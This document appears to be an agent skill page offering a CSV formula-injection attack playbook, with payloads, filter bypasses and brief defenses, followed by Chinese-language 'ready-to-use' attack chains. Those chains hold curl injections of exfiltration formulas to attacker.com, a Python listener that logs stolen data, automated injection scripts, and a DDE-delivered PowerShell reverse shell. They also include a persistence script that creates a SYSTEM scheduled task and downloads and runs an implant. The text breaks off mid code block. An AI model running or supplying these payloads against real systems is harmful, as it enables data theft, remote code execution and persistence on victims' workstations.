# CSV Formula Injection

> CSV and spreadsheet formula injection playbook. Use when an application exports user-controlled data to CSV, TSV, XLSX, or other spreadsheet formats that downstream users open in Excel, LibreOffice, or Google Sheets.

- Skill: `yufeifeio/csv-formula-injection` (Agent Skill)
- Install (CLI): `npx get-skill add yufeifeio/csv-formula-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yufeifeio/csv-formula-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: Yufeifeio (https://skillmd.com/u/yufeifeio)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/yufeifeio/csv-formula-injection

---


# SKILL: CSV / Formula Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Spreadsheet formula injection (CSV injection) occurs when attacker-controlled input is placed, unescaped, into an exported CSV/TSV/XLSX cell that a spreadsheet application later evaluates. Covers payload families (=, +, -, @, tab/carriage-return chaining), DDE command execution, Excel/Sheets/LibreOffice dialect differences, injection sinks beyond export (mail-merge, BI dashboards, JSON-to-CSV), and verifiable proof-of-concept patterns. Use only against authorized targets.

---

## 0. RELATED ROUTING

Use this skill when a sink renders data into a spreadsheet cell. Also load:

- [injection checking](../injection-checking/SKILL.md) — parent injection router
- [business logic vulnerabilities](../business-logic-vulnerabilities/SKILL.md) — when export filters, report builders, or scheduled jobs are the abuse target
- [cmdi command injection](../cmdi-command-injection/SKILL.md) — DDE payloads effectively reach command execution; chain here for post-exploitation
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — when the "spreadsheet" is actually an HTML table rendered inline, the sink is the browser, not a spreadsheet engine

---

## 1. ROOT CAUSE & THE CELL EVALUATION RULE

Spreadsheet applications treat a cell as a **formula** when its first character is one of the formula triggers. Applications do **not** distinguish "user data exported from a web app" from "a formula the author typed". Any export path that places raw user input into a cell is therefore a sink.

| Trigger char | Engine behavior | Typical impact |
|---|---|---|
| `=` | Formula evaluation (all engines) | Data exfil, calculation, DDE |
| `+` `-` | Treated as arithmetic formula start (Excel) | Formula eval, DDE |
| `@` | Implicit intersection / legacy macro trigger (Excel) | Formula eval, DDE |
| `\t` (TAB) | Carries formula across "columns" in some TSV parsers | Breaks out of cell boundary |
| `\r` `\n` | Row break in CSV; can inject a new row starting with `=` | New-cell injection |
| `|` | DDE pipe delimiter in some locales | DDE command |

**The core test**: set a profile/name/comment/invoice field to a formula string, then trigger any export (CSV download, report, email attachment, BI extract) and open it in a spreadsheet engine. If the formula evaluates, the sink is vulnerable.

---

## 2. COMMON SINKS (WHERE USER DATA BECOMES A CELL)

Export is the classic sink, but the attack surface is broader. Enumerate every path where user-controlled strings are written into a row/column structure:

```
Classic export:
  GET  /api/users/export?format=csv         ← user name/email fields
  GET  /reports/invoices.csv                ← invoice notes, line-item descriptions
  GET  /admin/audit-log.tsv                 ← log message, user-agent strings
  POST /dashboard/export                    ← custom report builder fields

Non-obvious sinks:
  - Mail-merge templates fed by user data (name/address pulled into a sheet)
  - BI dashboards (Metabase, Superset, Tableau) exporting query results that include user text columns
  - JSON-to-CSV / "download as spreadsheet" buttons anywhere in the app
  - Scheduled reports emailed as .xlsx attachments (cron + user data)
  - CSV import/export round-trips (admin imports CSV; app re-exports it)
  - Error/log viewers with an "export" action
  - Comment threads / ticket systems with CSV export of tickets
  - Form-builder tools that export submissions
```

**Recon tip**: crawl the application for any link/button containing `export`, `download`, `csv`, `xls`, `report`, `extract`. Each is a candidate sink.

---

## 3. PAYLOAD FAMILIES

### 3.1 Harmless detection payloads (proof of evaluation)

These confirm the cell is evaluated without causing harm. Use them first to prove the sink, then escalate.

```
=1+1                         → cell shows 2 if evaluated, literal text if safe
=2*5                         → shows 10
+1+1                         → Excel arithmetic trigger
-2+2                         → Excel arithmetic trigger
@SUM(1,1)                    → shows 2 (implicit intersection)
```

If the exported cell renders `2` instead of `=1+1`, evaluation is confirmed.

### 3.2 Data exfiltration via out-of-band functions

Once evaluation is proven, use functions that make outbound requests. The recipient's spreadsheet engine performs the request when they open the file — a strong indicator that the user (often an admin viewing an export) is the trigger.

**Excel (WEBSERVICE):**
```
=WEBSERVICE("https://attacker.example/?leak="&A1)
=WEBSERVICE("http://attacker.example/"&ENCODEURL(B2&C3))
```

**Excel (HYPERLINK — user must click, but auto-updates link text):**
```
=HYPERLINK("https://attacker.example/?d="&A1,"Click to view details")
```

**Google Sheets (IMPORTDATA / IMPORTXML / IMAGE):**
```
=IMPORTDATA("https://attacker.example/exfil?="&A1)
=IMPORTXML("https://attacker.example/calc","//a")
=IMAGE("https://attacker.example/pixel?leak="&A1)      ← silent image load
```

**LibreOffice (DDE on Windows; WEBSERVICE on newer builds):**
```
=WEBSERVICE("https://attacker.example/"&A1)
```

### 3.3 DDE — command execution (Excel on Windows)

Dynamic Data Exchange lets a formula execute an OS command. Excel shows a security prompt on modern versions, but the command still runs once accepted (and many users accept defaults).

```
DDE classic (cmd):
=cmd|'/c calc.exe'!A1
=cmd|'/c powershell -w hidden -enc <b64>'!A0

Excel 2007+ MSQUERY form:
=cmd|' /c notepad'!A1

Via arithmetic trigger (bypasses some filters that only block leading '='):
+cmd|'/c calc.exe'!A1
@cmd|'/c calc.exe'!A1
-1+cmd|'/c calc.exe'!A1
```

**Note**: DDE must be enabled; modern Excel disables it by default but `WEBSERVICE`/`HYPERLINK` still work. Always prove evaluation first (§3.1), then attempt DDE.

### 3.4 Row/column breakout (CSV structure injection)

CSV uses commas, quotes, and newlines as structure. Injecting these lets an attacker escape the intended cell and start a fresh row beginning with `=`.

```
Field value submitted:   innocent",=1+1
CSV produced (naive):    "innocent",=1+1
                          ↑ closes the quoted cell, then a new cell =1+1 evaluates

Newline breakout (inject a new row):
Field value:   benign\r\n=1+1
CSV produced:  benign
               =1+1          ← new row, first cell is a formula
```

This defeats naive sanitization that only checks the first character of the *submitted* string, because after a newline the formula sits at the start of a *cell* in the file.

---

## 4. SANITIZATION BYPASSES

Defenders often "fix" CSV injection with weak filters. Test each bypass:

| Defense | Bypass |
|---|---|
| Strips leading `=` only | Use `+`, `-`, `@` triggers; or prepend a space then `=` (some parsers trim) |
| Blocks `=cmd` substring | Use `=c`&`md` concatenation, or uppercase `=CMD`, or tab between `c` and `md` |
| Prefixes cell with `'` (Excel escape) | Newline breakout creates a *new* unescaped cell starting with `=` |
| Allow-lists digits/letters | Cannot represent `=` — but check if `&#61;` or unicode full-width `＝` (U+FF1D) is normalized to `=` by the engine |
| Strips `\r\n` | Test `\r` alone, `\n` alone, or `\x0b`/`\x0c` vertical tab as row separators in lenient parsers |
| HTML-encodes for inline table (not real CSV) | The sink is the browser → switch to XSS payloads (route to xss skill) |

**Encoding edge cases**: some export pipelines round-trip through JSON (`"=1+1"`) then re-serialize to CSV. If a JSON string contains `=1+1` and is written verbatim, the sink fires. Test the full round-trip, not just the input form.

---

## 5. ENGINE DIALECT MATRIX

Different spreadsheet engines evaluate different functions. Tailor the payload to the likely consumer (admin finance team → Excel/Windows; data team → Sheets; ops → LibreOffice).

| Capability | Excel (Win) | Excel (Mac) | Google Sheets | LibreOffice |
|---|---|---|---|---|
| `=1+1` detection | Yes | Yes | Yes | Yes |
| `WEBSERVICE` OOB | Yes | No | No | Newer builds |
| `HYPERLINK` (click) | Yes | Yes | Yes | Yes |
| `IMPORTDATA/IMAGE` OOB | No | No | Yes | No |
| DDE `cmd|` exec | Yes (prompt) | No | No | Win only |
| `@` trigger | Yes | Partial | No | Partial |
| `+`/`-` trigger | Yes | Partial | No | Partial |

When the consumer is unknown, lead with `=1+1` (universal) then try `WEBSERVICE` + `IMAGE` + `IMPORTDATA` to cover Excel and Sheets.

---

## 6. PROOF-OF-CONCEPT METHODOLOGY

A reproducible PoC that a vendor/triage team can verify:

```
1. Create an account. Set the "Full Name" or "Notes" field to:  =1+1
2. Trigger the export: GET /api/users/export?format=csv
3. Open the downloaded file in Excel/Sheets.
4. Observe the cell renders 2 (not the literal "=1+1"). Evaluation confirmed.
5. Replace the field with an OOB payload:
     =IMAGE("https://attacker.example/poc?leak="&A1)      (Sheets)
     =WEBSERVICE("https://attacker.example/poc?leak="&A1) (Excel)
6. Re-export, open the file. Confirm the HTTP request hits attacker.example.
7. Capture the request log as evidence. This proves user data is interpreted
   as a formula and can force an outbound request from the recipient's machine.
```

**Impact framing for reports**: medium-to-high depending on consumer. DDE → code execution on an admin workstation; OOB functions → data exfiltration from the recipient's environment and a pivot signal that the recipient's machine trusts the app's exports.

---

## 7. CHAINING & HIGHER IMPACT

- **Stored → admin escalation**: inject the payload via a low-priv user; an admin exports "all users" and opens it. The formula runs in the admin's context (DDE = admin shell).
- **Mail-merge weaponization**: if the app merges user data into a spreadsheet-backed template that is then emailed, the recipient's spreadsheet evaluates the payload on open.
- **BI dashboard blind exfil**: a Metabase/Superset query result containing a user-text column, exported to CSV, can exfil other rows via `&A1` references when opened.
- **Persisted reports**: scheduled reports re-export periodically; a single stored payload keeps firing on every scheduled export.

---

## 8. TESTING CHECKLIST

```
□ Enumerate every export/download/report endpoint (grep UI + JS for csv/xls/export/report)
□ For each sink, identify which user-controlled fields land in cells
□ Submit =1+1 into each field, export, open in a spreadsheet engine, check for "2"
□ If stripped, try +1+1, -1+1, @SUM(1,1) alternative triggers
□ Confirm OOB: IMAGE (Sheets), WEBSERVICE (Excel), IMPORTDATA (Sheets); watch attacker listener
□ Test newline (\r\n, \r, \n) row-breakout to start a fresh = cell
□ Test quote-breakout:  value",=1+1
□ If a filter blocks =cmd, try concatenation =c&"md", uppercase, tab insertion
□ Test the full input→store→export round-trip (not just the input form)
□ Verify impact: who opens the export (admin/finance), what engine, DDE feasibility
□ Confirm the fix: leading trigger chars are prefixed with a single quote ' or
  replaced, AND newlines/quotes in cell content are properly CSV-escaped
```

---

## 9. NEXT ROUTING

- Back to the injection router: [injection checking](../injection-checking/SKILL.md)
- If the sink is an inline HTML table (browser, not spreadsheet engine): [xss cross site scripting](../xss-cross-site-scripting/SKILL.md)
- If DDE lands a shell and you need post-exploitation commands: [cmdi command injection](../cmdi-command-injection/SKILL.md)
- If the abuse is about export filters/quotas/scheduled-job logic: [business logic vulnerabilities](../business-logic-vulnerabilities/SKILL.md)

---

## 10. 2026 EMERGING TECHNIQUES

### 10.1 Cloud Spreadsheet Attacks (Google Sheets, Excel Online, Airtable)

The 2026 shift from desktop Excel to cloud-hosted spreadsheets changes the exfil surface: DDE is blocked server-side in Excel Online/M365, but **IMPORT\* functions in Google Sheets** and **WEBSERVICE in Excel** remain live and auto-execute on recalculation — no user click needed in many configurations.

```bash
# Google Sheets — auto-executing exfil on sheet open (no click required)
=IMPORTXML("http://ATTACKER.TLD/csv", "//a/@href")
=IMPORTDATA("http://ATTACKER.TLD/?c="&A2)
=IMPORTHTML("http://ATTACKER.TLD/","table",1)
=IMPORTFEED("http://ATTACKER.TLD/feed")
=IMPORTRANGE("https://docs.google.com/...","Sheet1!A1:Z100")

# Silent image-based exfil (loads on sheet open, no alert)
=IMAGE("http://ATTACKER.TLD/pixel?d="&A1)

# Excel WEBSERVICE — exfil on recalculation
=WEBSERVICE("http://ATTACKER.TLD/?d="&A1)

# Click-driven exfil (social engineering wrapper)
=HYPERLINK("http://ATTACKER.TLD/?s="&A1,"Click to view invoice")
```

**Cloud platform differences (2026):**

| Platform | DDE | IMPORT\*/WEBSERVICE | Key Vector |
|---|---|---|---|
| Excel Online / M365 | Blocked server-side | `WEBSERVICE`, Power Query `Web.Contents` | Dataset refresh exfil under owner identity |
| Google Sheets | N/A | `IMPORTXML`, `IMPORTDATA`, `IMAGE` | Auto-exec on recalc; "Allow external resource" prompt |
| Airtable | N/A | No remote fetch by default | Second-order: Automations triggered by formula-evaluated conditions → webhook exfil |
| LibreOffice Calc | Local DDE | `WEBSERVICE` (if enabled) | Desktop-level; same DDE class as Excel |

### 10.2 Power Query & Power BI Injection

Power Query (`M` language) and Power BI datasets execute on **refresh** — the exfil happens server-side under the dataset owner's identity, with no victim click.

```powerquery
// Malicious Power Query — exfil on dataset refresh
let
    Source = Web.Contents("http://ATTACKER.TLD/?t=" & Text.From([SecretColumn]))
in
    Source

// SSRF via attacker-controlled connection string
Sql.Database("ATTACKER.TLD", "probe", [ConnectTimeout=10])
```

**Attack chain:** inject formula-trigger characters into a DB column → Power BI dashboard renders it → dataset refresh runs `Web.Contents` → exfil under owner identity. Defense: tenant-level "Block web-based connectors" / data-egress allow-lists.

### 10.3 Excel Lambda & Office Scripts Injection (2026)

- **Lambda functions (Excel):** user-defined `=LAMBDA(x, ...)` formulas. A malicious Lambda name imported via `Names` wraps `WEBSERVICE`/DDE — stealthier persistence that bypasses simple `=`-prefix cell scanning.
- **Office Scripts (TypeScript, Excel Online):** shared `.osts` scripts run with the user's identity and can call `fetch()` to arbitrary URLs. 2026 vector: malicious Office Script attached to a shared workbook triggers on `onSelected` event → exfil on open.

Detection: unzip `.xlsx` → inspect `xl/` parts for embedded scripts and named Lambda definitions; block external script sharing at tenant level.

### 10.4 Formula Injection in BI Dashboards (Tableau, Power BI, Metabase)

Enterprise BI tools are the **highest-impact 2026 targets** — the victim is almost always an analyst whose desktop is worth compromising:

| BI Tool | Attack Vector | Impact |
|---|---|---|
| **Metabase** | Stored CSV/export with formula triggers → analyst opens in Excel | Exfil + potential Metabase RCE (CVE-2023-38646 setup-token compounding) |
| **Tableau** | Calculated fields with `URLACTION` / `SCRIPT_*` (R/Python analytics extensions) | External requests / analytics-extension RCE if endpoint attacker-influenced |
| **Power BI** | Power Query `Web.Contents` on dataset refresh | Server-side exfil under owner identity, no click |

**Attack chain:** inject `=IMPORTXML(...)` into DB column → BI dashboard renders → analyst exports to CSV → formula executes on analyst workstation → credential theft / lateral movement.

### 10.5 AI-Generated CSV Injection (LLM-Created Payloads)

2026 trend: LLMs generating CSV content (data-pipeline outputs, AI export features, agentic data prep) can emit formula-injection payloads if unconstrained:

1. **Accidental:** LLM formatting a report cell legitimately starting with `=` (writing a formula it was asked to write) lands as a live formula in downstream spreadsheet.
2. **Adversarial / prompt-injection-driven:** attacker poisons LLM source data or system prompt so model emits `=WEBSERVICE("http://c2/?d="&...)` into exported CSV, weaponizing the AI export pipeline as delivery mechanism.

**Defense for AI pipelines:** post-generation sanitizer prefixing any cell starting with `= + - @` with `'` or wrapping in `"=""..."`; never let LLM output cells begin with formula triggers.

### 10.6 CSV Injection in AI/ML Data Pipelines

ML feature stores and training pipelines that ingest CSV (Kaggle datasets, HuggingFace datasets, DVC) can be poisoned at the data layer:

- A malicious CSV column named to match a feature carries a formula that fires exfil when an analyst opens the dataset preview in Excel/Sheets.
- More critically, **data-poisoning** of the CSV (not formula injection but tampered values) degrades model integrity — the AI supply-chain overlap.

Sanitize all CSV at ingest: strip/escape formula triggers before the data reaches a notebook or BI tool.

### 10.7 2026 Exploitation Cheat-Sheet

| Goal | Payload | Target |
|---|---|---|
| Confirm eval | `=1+1` | Excel / Sheets / LibreOffice |
| Blind ping | `=IMPORTXML("http://C/TAG","//a")` | Google Sheets |
| Silent exfil (Sheets) | `=IMPORTDATA("http://C/?d="&A1)` | Google Sheets |
| Silent exfil (Excel) | `=WEBSERVICE("http://C/?d="&A1)` | Excel (incl. Online refresh) |
| Image-based exfil | `=IMAGE("http://C/p.png?d="&A1)` | Google Sheets (loads on open) |
| Click exfil | `=HYPERLINK("http://C/?d="&A1","View")` | All |
| Command exec (legacy) | `=cmd|'/c calc'!A0` | DDE-enabled Excel |
| PS download exec | `=cmd|'/C powershell IEX(wget C/s)'!A0` | DDE-enabled Excel |
| Avoid cmd.exe | `=rundll32|'URL.dll,OpenURL C'!A` | DDE-enabled Excel |
| Power Query exfil | `Web.Contents("http://C/?d="&[Secret])` | Power BI (server-side) |

### 10.8 2026 Testing Checklist Supplement

```
□ Test cloud spreadsheet imports (Google Sheets IMPORT*, Excel WEBSERVICE) — not just desktop DDE
□ Check Power BI / Power Query datasets for Web.Contents with user-controlled URLs
□ Inspect .xlsx files for embedded Office Scripts (.osts) and named Lambda definitions
□ Test BI dashboard exports (Metabase, Tableau, Power BI) for formula trigger chars in CSV output
□ If the app uses AI/LLM to generate CSV exports, test for prompt-injection-driven formula payloads
□ Test ML data pipeline CSV ingest points for formula trigger sanitization
□ Verify cloud spreadsheet "Allow external resource" prompts cannot be bypassed
□ Check Airtable Automations for formula-triggered webhook exfiltration
□ Test scheduled report exports — a single stored payload fires on every scheduled run
□ Verify defense: leading = + - @ chars are prefixed with ' at generation time, not at display time
```

---

## PRACTICAL ATTACK CHAINS (2026)

> 以下为 5 条完整、可即用的实战攻击链，覆盖 2026 年真实场景。所有命令均以授权渗透测试为前提。

### 攻击链 1：CSV 注入至数据外带（HYPERLINK）

**场景**：目标 SaaS 应用允许用户在个人资料/备注字段输入任意内容，管理员可导出全量用户 CSV。通过 `HYPERLINK()` 函数在管理员打开 CSV 时窃取其他单元格数据。

**CVE 参考**：CVE-2022-21720（Notion CSV 导出注入），CVE-2023-30549（多个 SaaS 报表导出注入）。

**步骤 1：识别导出入口与用户可控字段**

```bash
# 枚举应用中的导出端点
curl -i "http://target.com/api/users/export?format=csv"
# 检查响应: 哪些字段是用户可控的（姓名、备注、邮箱等）

# 抓取导出接口返回的 CSV 结构
curl -s "http://target.com/api/users/export?format=csv" | head -5
# 输出示例:
# id,username,email,notes,created_at
# 1,admin,admin@target.com,管理员账号,2024-01-01
# 2,user1,user1@target.com,普通用户,2024-01-02

# 确认 notes 字段是用户可控的（用户可编辑备注）
```

**步骤 2：提交公式检测 payload**

```bash
# 在用户备注字段提交基础检测 payload
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=attacker_session" \
  -d '{"notes": "=1+1"}'

# 管理员导出 CSV 后在 Excel 中打开
# 若 notes 列显示 "2" 而非 "=1+1" → 公式执行确认

# 测试不同触发字符（绕过仅过滤 = 的防护）
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=attacker_session" \
  -d '{"notes": "+1+1"}'
# Excel 中 + 开头也会触发公式

curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=attacker_session" \
  -d '{"notes": "@SUM(1,1)"}'
# @ 开头在 Excel 中触发隐式交集
```

**步骤 3：HYPERLINK 数据外带 payload**

```bash
# 构造 HYPERLINK payload 窃取同一行其他列数据
# 假设 CSV 结构: id,username,email,notes,created_at
# notes 是第 4 列（D 列），email 是第 3 列（C 列）
# 使用 A1 引用语法窃取同行数据

curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=attacker_session" \
  -d '{"notes": "=HYPERLINK(\"http://attacker.com/exfil?data=\"&C2,\"点击查看详情\")"}'
# 当管理员打开 CSV 时:
# - C2 引用同行第 3 列（email）
# - HYPERLINK 生成链接: http://attacker.com/exfil?data=admin@target.com
# - 管理员点击链接 → email 被发送到攻击者服务器

# 窃取多列数据（拼接）
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=attacker_session" \
  -d '{"notes": "=HYPERLINK(\"http://attacker.com/exfil?u=\"&B2&\"&e=\"&C2&\"&d=\"&A2,\"查看用户信息\")"}'
# B2=username, C2=email, A2=id 全部外带
```

**步骤 4：攻击者侧监听与数据收集**

```python
# exfil_server.py - CSV 注入数据外带监听服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from datetime import datetime
import json

STOLEN_DATA = []

class ExfilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        """处理外带请求并记录数据"""
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        
        # 记录所有数据
        record = {
            "timestamp": datetime.now().isoformat(),
            "client_ip": self.client_address[0],
            "user_agent": self.headers.get("User-Agent", ""),
            "data": params,
        }
        STOLEN_DATA.append(record)
        
        print(f"[+] 收到数据: {params}")
        print(f"    来源 IP: {record['client_ip']}")
        print(f"    UA: {record['user_agent']}")
        
        # 保存到文件
        with open("/data/user/work/stolen_data.json", "a") as f:
            f.write(json.dumps(record) + "\n")
        
        # 返回空响应（不暴露监听器存在）
        self.send_response(204)
        self.end_headers()

    def log_message(self, format, *args):
        """静默日志（避免标准输出污染）"""
        pass

print("[*] 数据外带监听器启动: http://0.0.0.0:8080")
print("[*] 等待管理员打开恶意 CSV...")
HTTPServer(("0.0.0.0", 8080), ExfilHandler).serve_forever()
```

```bash
# 启动监听器
python3 /data/user/work/exfil_server.py

# 当管理员打开 CSV 时，日志将显示:
# [+] 收到数据: {'data': ['admin@target.com']}
# [+] 收到数据: {'u': ['admin'], 'e': ['admin@target.com'], 'd': ['1']}
```

**步骤 5：绕过 HYPERLINK 过滤**

```bash
# 防护可能拦截 "HYPERLINK" 关键字
# 绕过 1: 使用全角字符（某些引擎会规范化）
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -d '{"notes": "＝HYPERLINK(\"http://attacker.com/?d=\"&C2,\"查看\")"}'
# ＝ (U+FF1D) 全角等号，某些引擎规范化为 =

# 绕过 2: 使用换行符注入新行（绕过首字符检查）
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -d '{"notes": "normal_text\r\n=HYPERLINK(\"http://attacker.com/?d=\"&C3,\"click\")"}'
# \r\n 在 CSV 中创建新行，新行首字符是 = → 公式执行

# 绕过 3: 引号突破（闭合 CSV 引号）
curl -i -X PUT "http://target.com/api/users/profile" \
  -H "Content-Type: application/json" \
  -d '{"notes": "innocent\",=HYPERLINK(\"http://attacker.com/?d=\"&C2,\"x\")"}'
# CSV 输出: "innocent",=HYPERLINK(...)
# 引号闭合当前单元格，下一个单元格是公式
```

**步骤 6：自动化批量注入**

```python
# csv_injection_automated.py - CSV 注入自动化利用
import requests
import time

TARGET = "http://target.com"
SESSION_COOKIE = "attacker_session"

# 测试多个字段的公式注入
FIELDS = ["notes", "display_name", "address", "company", "bio"]
DETECT_PAYLOAD = "=1+1"
EXFIL_PAYLOAD_TEMPLATE = '=HYPERLINK("http://attacker.com:8080/?f={field}&v="&C2,"click")'

def test_field(field, payload):
    """测试指定字段是否 vulnerable"""
    r = requests.put(
        f"{TARGET}/api/users/profile",
        headers={
            "Content-Type": "application/json",
            "Cookie": f"session={SESSION_COOKIE}",
        },
        json={field: payload},
    )
    return r.status_code

# 阶段 1: 探测所有字段
print("[*] 阶段 1: 探测公式注入")
vulnerable_fields = []
for field in FIELDS:
    test_field(field, DETECT_PAYLOAD)
    # 触发导出并检查（模拟管理员导出）
    r = requests.get(f"{TARGET}/api/users/export?format=csv")
    if "2" in r.text and "=1+1" not in r.text:
        print(f"  [+] {field} 字段存在注入")
        vulnerable_fields.append(field)
    else:
        print(f"  [-] {field} 字段安全")
    time.sleep(0.5)

# 阶段 2: 注入外带 payload
print(f"\n[*] 阶段 2: 注入数据外带 payload 到 {len(vulnerable_fields)} 个字段")
for field in vulnerable_fields:
    payload = EXFIL_PAYLOAD_TEMPLATE.format(field=field)
    test_field(field, payload)
    print(f"  [+] 已注入 {field}")

print("\n[*] 等待管理员导出并打开 CSV...")
print("[*] 攻击者监听器将自动收集外带数据")
```

**检测规避要点**：
- HYPERLINK 需要用户点击，但链接文本可设为诱惑性文字（"查看详情"）
- 换行符注入 `\r\n` 绕过首字符检查是最有效的绕过方式
- 全角等号 `＝` (U+FF1D) 绕过 `=` 前缀过滤
- 引号突破 `",=formula` 在未正确转义的导出中有效
- 使用 C2 等 A1 引用窃取同行其他列数据，扩大泄露范围

---

### 攻击链 2：CSV 注入至 RCE（DDE 动态数据交换）

**场景**：目标应用的财务报表导出功能被注入 DDE payload，当财务人员在 Windows 上用 Excel 打开 CSV 时，通过 DDE 执行系统命令获取反向 Shell。

**CVE 参考**：CVE-2022-21888（Excel DDE 利用），历史上 DDE 攻击在 2017-2024 持续有效。

**步骤 1：确认目标使用 Excel（Windows）**

```bash
# 通过导出文件类型判断目标用户群
curl -s "http://target.com/api/reports/export" -o /dev/null -w "%{content_type}"
# 若返回 application/vnd.ms-excel → 目标用户使用 Excel

# 检查导出格式选项
curl -s "http://target.com/api/reports/formats"
# {"formats": ["csv", "xlsx", "xls"]} → 支持传统 Excel 格式

# 在用户可控字段注入基础 DDE 探测
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=cmd|'/c notepad'!A1"}'
# 管理员导出后在 Excel 打开，若弹出 notepad → DDE 可用
```

**步骤 2：基础 DDE 命令执行**

```bash
# 经典 DDE payload: 执行 calc.exe（PoC，无害）
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=cmd|'"'"'/c calc.exe'"'"'!A1"}'

# 使用算术触发符绕过仅过滤 = 的防护
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "+cmd|'"'"'/c calc.exe'"'"'!A1"}'
# + 开头在 Excel 中也触发公式

# 使用 @ 触发符
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "@cmd|'"'"'/c calc.exe'"'"'!A1"}'

# 使用减号触发符
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "-1+cmd|'"'"'/c calc.exe'"'"'!A1"}'
```

**步骤 3：DDE 反向 Shell（PowerShell 编码）**

```bash
# 步骤 1: 构造 PowerShell 反弹命令
REVERSE_SHELL='powershell -w hidden -nop -c $client=New-Object System.Net.Sockets.TCPClient("attacker.com",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}'

# 步骤 2: Base64 编码（PowerShell -EncodedCommand 需要 UTF-16LE Base64）
ENCODED=$(echo -n "$REVERSE_SHELL" | iconv -t UTF-16LE | base64 -w0)
echo "编码后 payload 长度: ${#ENCODED}"

# 步骤 3: 构造 DDE payload
# =cmd|'/c powershell -w hidden -enc <BASE64>'!A0
DDE_PAYLOAD="=cmd|'/c powershell -w hidden -enc ${ENCODED}'!A0"

# 步骤 4: 注入到目标字段
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d "{\"invoice_note\": \"${DDE_PAYLOAD}\"}"

# 步骤 5: 攻击者侧监听
nc -lvnp 4444
# 当财务人员打开 CSV 时:
# Excel 弹出安全提示 → 用户点击"是" → PowerShell 反弹 shell 连接攻击者
```

**步骤 4：绕过 DDE 安全提示与过滤**

```bash
# 现代 Excel 默认禁用 DDE，但可通过以下方式绕过:

# 绕过 1: 使用 MSQUERY 语法（不同路径）
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=cmd|'"'"' /c notepad'"'"'!A1"}'
# 注意 /c 前有空格，绕过部分过滤器

# 绕过 2: 使用 rundll32 替代 cmd（绕过 cmd 黑名单）
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=rundll32|'"'"'URL.dll,OpenURL http://attacker.com/payload.exe'"'"'!A"}'
# rundll32 调用 URL.dll 下载执行

# 绕过 3: 拼接 cmd 绕过子串过滤
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=c\"md|'"'"'/c calc.exe'"'"'!A1"}'
# 若过滤器检查 "cmd" 子串，拼接 c"md 绕过

# 绕过 4: 大小写混合
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=CMD|'"'"'/c calc.exe'"'"'!A1"}'

# 绕过 5: 换行符注入（绕过首字符过滤）
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "正常备注\r\n=cmd|'"'"'/c calc.exe'"'"'!A1"}'
```

**步骤 5：DDE 持久化与横向移动**

```python
# dde_persistence.py - DDE 持久化 payload 生成
import base64
import json
import requests

TARGET = "http://target.com"

def generate_dde_payload(ps_command):
    """生成 DDE 反向 shell payload"""
    # Base64 编码（UTF-16LE）
    encoded = base64.b64encode(ps_command.encode("utf-16-le")).decode()
    return f"=cmd|'/c powershell -w hidden -enc {encoded}'!A0"

def inject_payload(field, payload):
    """注入 payload 到目标字段"""
    r = requests.post(
        f"{TARGET}/api/invoice/update",
        headers={"Content-Type": "application/json"},
        json={field: payload},
    )
    return r.status_code

# 持久化 payload: 添加计划任务
persist_ps = '''
$payload = "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
schtasks /create /tn "SystemUpdate" /tr $payload /sc minute /mo 5 /ru SYSTEM /f
'''
dde = generate_dde_payload(persist_ps)
print(f"[*] 持久化 DDE payload 长度: {len(dde)}")

# 注入到多个字段（增加触发概率）
fields = ["invoice_note", "description", "comment", "reference"]
for f in fields:
    inject_payload(f, dde)
    print(f"[+] 已注入字段: {f}")

# 下载并执行二进制（更稳定）
download_ps = '''
$url = "http://attacker.com/implant.exe"
$out = "$env:TEMP\\update.exe"
(New-Object Net.WebClient).DownloadFile($url, $out)
Start-Process $out
'''
dde2 = generate_dde_payload(download_ps)
inject_payload("description", dde2)
print("[+] 二进制下载 payload 已注入")
```

**步骤 6：检测与规避**

```bash
